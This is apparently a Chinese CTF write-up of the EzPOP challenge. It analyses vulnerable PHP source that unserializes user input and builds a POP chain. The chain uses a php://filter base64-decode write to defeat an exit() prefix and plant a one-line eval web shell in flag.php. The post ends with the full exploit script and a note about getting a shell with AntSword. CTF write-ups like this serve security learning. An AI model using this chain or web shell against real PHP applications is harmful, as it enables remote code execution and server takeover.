IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> [EIS 2019]EzPOP 代码审查 -> 正文阅读

[开发测试][EIS 2019]EzPOP 代码审查

源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flag.php', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {//传入一个键值对
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);//反转键值对

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key,返回object数组和cacheProperties键重叠的
            }//相当于将contents的值进行了过滤一下(二维数组),只留下cacheProperties键的
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);//json格式编码
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;//$this->>option['prefix']=php://filter/read=convert.base64-decode/resource=
    }

    protected function serialize($data): string {//value
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];//$this->>options['serialize']=base64.decode

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{//$this->key, $contents, $this->expire
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];//$this->>options['expire']=1
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);//返回路径中的目录名称部分

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);//$this->>options['data_compress']=flase
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//利用伪协议绕过死亡exit
        $result = file_put_contents($filename, $data);//data数据输入进filename

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

扫一眼过去发现并不是普通的pop链,只能慢慢分析,找突破点

 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
 $result = file_put_contents($filename, $data);//data数据输入进filename

可以看到我们要利用file_put_contents函数来将我们所需要构造的$data语句写入一个文件(没有则会创一个新文件),因此$filename参数我们要多加注意,$data是一个死亡exit,不管我们如何输入一句话木马,他直接就会exit退出,因此这里我们要利用到伪协议的特性谈一谈php://filter的妙用 | 离别歌?

核心就是
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

因此<?php\n// \n exit();?>\n占二十个字符位置,经过base64解码后就会变成php//exit;只有九个字符位置了,因为base64是四个一组,为了让前面九个字符解析正确,我们要自己格外加三个字符;sprintf('%012d', $expire) 占十二个字符位置,符合标准,因此exipre这个参数

?由于格式符已经定好了%012d,因此我们传入的数字只要小与等于12位就可以了

现在先追溯$filename参数从哪里来的

?跟进getCacheKey函数以及name参数

可以看到filename参数是由$name参数与数组options的prefix键拼接而成的?,寻找一下$name参数从何而来

?寻找哪里调用了set函数

?可以发现是在A类的save函数里面调用的,且save函数又是析构函数调用的;因此这里我们可以先赋值一下

A类
$this->store=new B();//构造一条链
$thhis->autosave=false;//通过if语句判断

并且可以发现我们所追求的name属性,是A类一开始的属性key赋值而来的,key的赋值在A的构造函数里面,好这里清晰了

$filename->$name->$key

现在来专注$data从何而来了

我们不需要数据压缩,因此可以

$this->options['data_compress']=false;

?

?目标改为serialize函数中的value

?可以看到返回值是$serialize($date);serialize键肯定是一个函数,暂时不知道是啥,先追溯一下serialize函数中的value从何而来

又要回到A类

?value对应的是contents参数,contents参数又来自于调用getForStorage函数

?调用getForStorage函数的时候会返回一个json_encode字符串,其中的$this->complete我们可控,$cleaned参数来自于cleanContents函数

?参数是一个可控的$this->cache,一个数组

array_intersect_key函数,返回两个数组相同的键,如键相同,值不同,默认第一个参数的键值
array_flip函数,反转键值对,键变成值,值变成键

data参数的关系如下?

$data->$value->$contents->json_encode([$cleaned, $this->complete])

看到这里其实我做的时候脑袋已经晕了,跳来跳去的

先将伪协议绕过那个地方构造好理想状态,不对再随着前面修改,利用filename参数传入filter伪协议base64读取来消灭掉死亡exit

B:
$this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
记住这里是write而不是read,我们要写入过滤去掉一些字符

因为是创建一个新文件写入内容,name参数随意什么文件名都可以

A:
$this->key = 'flag.php';

由于base64的解析成功,data参数相当于我们自己来构造一句话木马,防止里面的也被解析,因此我们要两次base64

A:
$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["pass"]);?>'));
//先将自己构造的一句话木马进行base64编码,然后因为base64四位四位解析的缘故,拼接三个字符以保证前面php//exit成功解析,再进行编码一次为了不在第一次base64_decode后将一句话木马的字符也给忽略掉

这里其实是之前很困扰我的地方,因为第一个参数cleaned我不知道该构造什么,看了wp是将前面的$->cache传入一个空数组,我之前不理解,但我做过测试以后就懂了

<?php
function cleanContents(array $contents) {//传入一个键值对
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);//反转键值对
    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key,返回object数组和cacheProperties键重叠的
        }//相当于将contents的值进行了过滤一下(二维数组),只留下cacheProperties键的
    }
    return $contents;
}
$a=array();
$b=cleanContents($a);
var_dump($b);
$d=base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));;
$c=json_encode([$b, $d]);
echo $c;
echo "\n";
if (is_numeric($c)) {
    echo 'num';
}
echo base64_decode($c);

虽然我们之前返回的一直是json类型,前面是一个空的数组,但是最后由于base64_decode的特性,会忽略不属于64个字符里面的字符包括空,从而只会解析后面新的字符串,不再有一个空数组的存在,因此之前那个serialize函数那里我们应该传入的函数为

$this->options['serialize']='base64_decode';

传入的数组cache为

$this->cache=array();

现在大体的框架已经出来了,最后整理应为

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = 'flag.php';//
        $this->store =new B();//
        $this->cache=array();
        $this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["pass"]);?>'));
        $this->autosave=false;
    }

}

class B {
    public function __construct()
    {
        $this->options['prefix']='php://filter/write=convert.base64-decode/resource=';
        $this->options['serialize']='base64_decode';
        $this->options['data_compress']=false;
        $this->options['expire']=1;
    }


}

$a=new A();
echo urlencode(serialize($a));

将url编码后的字符串传入data参数,进入我们建立的文件flag.php利用蚁剑getshell获取flag即可

题目关键在于:

1、理清楚参数的传递以及函数之间的调用

2、get一个新方法利用伪协议filter进行write,将死亡exit的一些字符进行忽略导致无法执行实现绕过

3、base64解析的特性是四位四位的特性,记得拼接字符来保证解析正确

感觉写的有点乱,可能是我自己没有理解透吧

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-05-11 16:42:37  更:2022-05-11 16:43:06 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 2:49:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码